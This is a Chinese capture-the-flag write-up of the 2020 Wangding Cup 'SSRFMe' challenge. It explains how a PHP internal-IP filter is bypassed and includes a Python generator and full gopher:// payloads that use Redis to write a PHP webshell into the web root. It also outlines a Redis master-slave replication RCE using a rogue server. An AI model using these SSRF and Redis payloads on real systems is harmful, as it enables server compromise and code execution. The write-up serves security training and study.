[网鼎杯 2020 玄武组]SSRFMe
考点
wp
打开靶机给了源码
第一个函数check_inner_ip，传入的URL必须以http https gopher dict开头，然后用parse_url解析获取hostname
gethostbyname()函数用于获取hostname对应的IPv4地址，失败则返回hostname
ip2long()函数用于把IPv4地址转换为长整数
传入的URL对应的IP格式必须是127.* 10.* 172.16.* 192.168.*
否则返回False
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
第二个函数safe_request_url，传入的url如果符合check_inner_ip函数的要求，就直接输出url
如果传入的不是私有地址，就使用PHP curl获取页面。如果私有地址中间有302跳转，就把跳转的目标url再用safe_request_url函数访问，这样就避免了用302跳转绕过本地限制
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
最后一段，提示先访问本地的hint.php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
// Please visit hint.php locally.
这些操作相当于限制本地访问，同时要求访问本地hint.php
常用策略就是八进制 十六进制 全0 等方法
http://0.0.0.0/hint.php 只能Linux下用
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
得到新代码，向POST传入的file参数写入"<?php echo 'redispass is root';exit();".$_POST['file']
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
这里给了提示redis密码为root
用下面脚本生成payload
from urllib.parse import quote
protocol="gopher://"
ip="0.0.0.0"
port="6379"
shell="<?php system('cat /flag');?>"
filename="b.php"
path="/var/www/html"
passwd="root"
cmd=["auth root",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
payload=''
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
def generate_payload():
global payload
for x in cmd:
payload += quote(redis_format(x))
return payload
print(generate_payload())
payload
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%3C%3Fphp%20var_dump%28readfile%28%27/flag%27%29%29%3B%3F%3E%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0Ab.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
再URL编码一下
gopher://0.0.0.0:6379/_%252a2%250d%250a%25244%250d%250aauth%250d%250a%25244%250d%250aroot%250d%250a%252a2%250d%250a%25244%250d%250aauth%250d%250a%25244%250d%250aroot%250d%250a%252a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252436%250d%250a%253c%253fphp%2520var_dump%2528readfile%2528%2527%2fflag%2527%2529%2529%253b%253f%253e%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25245%250d%250ab.php%250d%250a%252a1%250d%250a%25244%250d%250asave%250d%250a
在靶机直接打?url=payload，然后访问b.php即可
预期解法是redis主从复制rce BUU环境有问题复现不了
把exp.so ssrf-redis.py rogue-server.py上传到VPS
运行ssrf-redis.py得到payload
再运行rogue-server.py
把payload再URL编码一下，在靶机用编码后的payload打过去
小结
